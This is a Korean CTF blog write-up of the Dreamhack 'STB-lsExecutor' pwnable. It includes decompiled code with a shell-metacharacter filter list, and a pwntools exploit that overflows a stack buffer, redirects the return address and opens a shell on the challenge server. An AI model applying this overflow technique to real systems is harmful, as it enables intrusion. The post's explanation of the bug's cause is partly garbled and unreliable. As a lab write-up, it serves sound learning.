CTF 풀이

[드림핵] STB-lsExecutor 포너블풀이

화이트해커 Luna 🌙 2024. 2. 28. 08:16
728x90
반응형

STB-lsExecutor 포너블 풀이

 

 

Patchday Twitter 에서 소스코드가 주어집니다. 

 

 

이 코드는 주어진 옵션과 경로를 입력 받아서 시스템 명령어를 실행하는 간단한 프로그램입니다.

 

먼저, "main" 함수는 "EVP_PKEY_CTX" 포인터를 매개변수로 받습니다. 이 함수는 초기화 함수 "init"을 호출한 후, 무한 루프를 실행합니다.

 

루프는 최대 9번 반복하며, 각 반복에서 사용자에게 옵션과 경로를 입력 받습니다.

 

사용자로부터 옵션은 "read_data" 함수를 통해 60바이트까지 입력 받고, 이를 "snprintf" 함수를 사용하여 "ls -{입력된 옵션}" 형태로 조합합니다.

 

그리고 다시 사용자로부터 경로를 입력 받아서 "ls" 명령어와 조합하여 최종 명령어를 만들게 됩니다.

 

그 후, 이 조합된 명령어를 실행하기 위해 "system" 함수를 호출합니다.

 

마지막으로, 사용자에게 다시 반복 여부를 묻고, 사용자가 'n'을 입력하면 루프를 빠져나오고 프로그램이 종료됩니다.

 

여기서 "sel" 함수는 사용자의 입력을 받아들이고, 이 입력이 'n'인지 여부를 판별하여 루프를 종료시키는 역할을 합니다.

 


1. 정보 수집

 

nc로 프로그램을 실행해봤습니다. 

 

(저 path가 그 path인줄알고 .... ^^;)

 

file과 checksec 명령어로 정보를 조회해봤습니다. 

해당 실행 파일은 64비트 x86 아키텍처로 빌드되었으며, 부분적인 RELRO와 NX 보호 기능이 적용되어 있습니다.

 

 

그리고, IDA로 조회해서 Address를 얻었습니다. 

 

 


2. main 함수

 

 

 

undefined8 main(EVP_PKEY_CTX *param_1)

{
  undefined local_b8 [64];
  char local_78 [104];
  int local_10;
  int local_c;
  
  init(param_1);
  local_c = 0;
  while( true ) {
    if (9 < local_c) {
      return 0;
    }
    printf("Enter option : ");
    read_data(local_b8,0x3c);
    local_10 = snprintf(local_78,0x1e,"ls -%s ",local_b8);
    printf("Enter path : ");
    read_data(local_78 + local_10,0x46);
    system(local_78);
    puts("Again? y/n");
    read(0,&sel,2);
    if (sel == 'n') break;
    local_c = local_c + 1;
  }
  return 0;
}

 

 

  • EVP_PKEY_CTX 포인터를 매개변수로 받습니다.
  • init 함수를 호출하여 프로그램을 초기화합니다.
  • local_c 변수를 초기화하고, 반복문을 통해 0부터 9까지 반복합니다. 이는 최대 10번의 명령 실행을 의미합니다.
  • 각 반복에서 사용자에게 옵션을 입력하도록 요청하고, read_data 함수를 통해 입력을 받습니다.
  • 입력된 옵션에 따라 ls -<옵션> 형태의 명령어를 생성하여 local_78 버퍼에 저장합니다.
  • 다음으로 사용자에게 경로를 입력하도록 요청하고, read_data 함수를 통해 입력을 받습니다.
  • 입력된 경로는 local_78 버퍼에 적절한 위치에 추가됩니다.
  • 마지막으로 system 함수를 사용하여 생성된 명령어를 실행합니다.
  • 사용자에게 반복 여부를 묻고, 'n'을 입력받으면 반복문을 종료하고 0을 반환합니다.

 

 

 

RET주소 (local_78)

 

 


3. command_check 함수

 

 

 

void command_check(long param_1,int param_2)

{
  size_t sVar1;
  int local_20;
  int local_1c;
  
  local_1c = 0;
  do {
    if (param_2 <= local_1c) {
      return;
    }
    local_20 = 0;
    while( true ) {
      sVar1 = strlen("~!#$%^&*()_+|`\\<>?,./;:\'\"{}[]\n");
      if (sVar1 <= (ulong)(long)local_20) break;
      if (*(char *)(param_1 + local_1c) == "~!#$%^&*()_+|`\\<>?,./;:\'\"{}[]\n"[local_20]) {
        *(undefined *)(param_1 + local_1c) = 0x78;
        break;
      }
      local_20 = local_20 + 1;
    }
    local_1c = local_1c + 1;
  } while( true );
}

 

 

  • param_1에는 입력된 데이터가 저장된 버퍼의 주소가 전달됩니다.
  • param_2는 입력된 데이터의 길이를 나타냅니다.
  • 입력된 데이터를 하나씩 확인하면서 특정 문자를 필터링합니다.
  • "~!#$%^&*()_+|`\<>?,./;:'"{}[]\n"에 해당하는 문자가 입력된 경우 해당 위치의 값을 'x'(ASCII 값 0x78)로 바꿉니다.

 


4. read_data 함수

 

 

 

void read_data(void *param_1,int param_2)

{
  ulong uVar1;
  
  uVar1 = read(0,param_1,(long)param_2);
  *(undefined *)((long)param_1 + (long)(int)uVar1 + -1) = 0;
  command_check(param_1,uVar1 & 0xffffffff);
  return;
}

 

  • param_1에는 입력된 데이터를 저장할 버퍼의 주소가 전달됩니다.
  • param_2는 입력 데이터의 최대 길이를 나타냅니다.
  • read 함수를 사용하여 사용자 입력을 받습니다.
  • 입력된 데이터의 끝에 null 문자를 추가하여 문자열을 종료합니다.
  • 마지막으로 입력된 데이터를 검사하기 위해 command_check 함수를 호출합니다.

 


5. 취약점과 페이로드

이 프로그램의 취약점은 입력 받는 부분에서 버퍼 오버플로우입니다.

프로그램은 main() 함수를 통해 실행됩니다. main() 함수는 사용자로부터 입력을 받는 반복문을 포함하고 있습니다.

반복문은 local_c 변수가 9 이상이 될 때까지 동작하며, 각 반복에서 사용자로부터 "Enter option : " 및 "Enter path : " 메시지를 출력하고, 입력을 받아 local_b8 및 local_78 버퍼에 저장합니다.

read_data() 함수는 입력을 받은 후에 널 종료 문자를 추가하며, command_check() 함수에서 입력 데이터에 대한 길이 확인 없이 바로 처리됩니다.

이로 인해 사용자가 입력한 데이터의 길이가 버퍼의 크기를 초과하면 버퍼 오버플로우가 발생할 수 있습니다.

이 취약점을 이용하여 공격자는 제어 가능한 메모리 영역에 악성 코드를 삽입하고, 프로그램의 제어 흐름을 변경하여 시스템 호출을 수행할 수 있습니다.

 

예를 들어, 공격자는 페이로드를 사용하여 SFP(Saved Frame Pointer)를 조작하고, RET(Return Address)를 변경하여 프로그램의 실행 흐름을 제어할 수 있습니다.

 

# dummy + size + i + SFP + RET
payload = b'A' * 60  # read_data() 함수에서 60바이트의 입력을 받음
payload += b'A' * 0x2c  # command_check() 함수의 param_1로 사용될 버퍼에 추가적인 데이터
payload += p32(0x9)  # 반복문을 탈출하기 위한 조건 설정
payload += p64(0x404079 + 0x70)  # SFP 조작
payload += p64(0x4013cb)  # RET 주소 설정

 

 

이 페이로드는 read_data 함수와 command_check 함수 간의 버퍼 오버플로우 취약점을 이용하여 프로그램의 제어 흐름을 조작합니다.
먼저, 'A' 문자로 60바이트의 더미 데이터를 생성하여 read_data 함수에서 60바이트 이상의 입력을 전달합니다.
그런 다음, command_check 함수의 param_1로 사용되는 버퍼에 추가적인 44바이트의 데이터를 전달하여 param_1과 param_2 사이의 경계를 넘어버리고,
반복문을 탈출하기 위한 조건을 설정한 뒤, SFP를 조작하여 RET 주소를 공격자가 원하는 주소로 설정합니다.


6. exploit.py

 

python3와 pwntools 라이브러리를 사용하여 exploit.py을 작성했습니다. 

 

from pwn import *
p = remote("host3.dreamhack.games", 19698)
# payload = dummy + size + i + SFP + RET
payload = b'A' * 60 + b'A' * 0x2c + p32(0x9) + p64(0x404079 + 0x70) + p64(0x4013cb)
p.sendafter("Enter option : ", payload)
p.sendafter("Enter path : ", b"sh")
p.interactive()

 

 

 

실행하면

 

cat flag가 잘 출력되었습니다. 


문의는 댓글 남겨주세요

 

 

728x90
반응형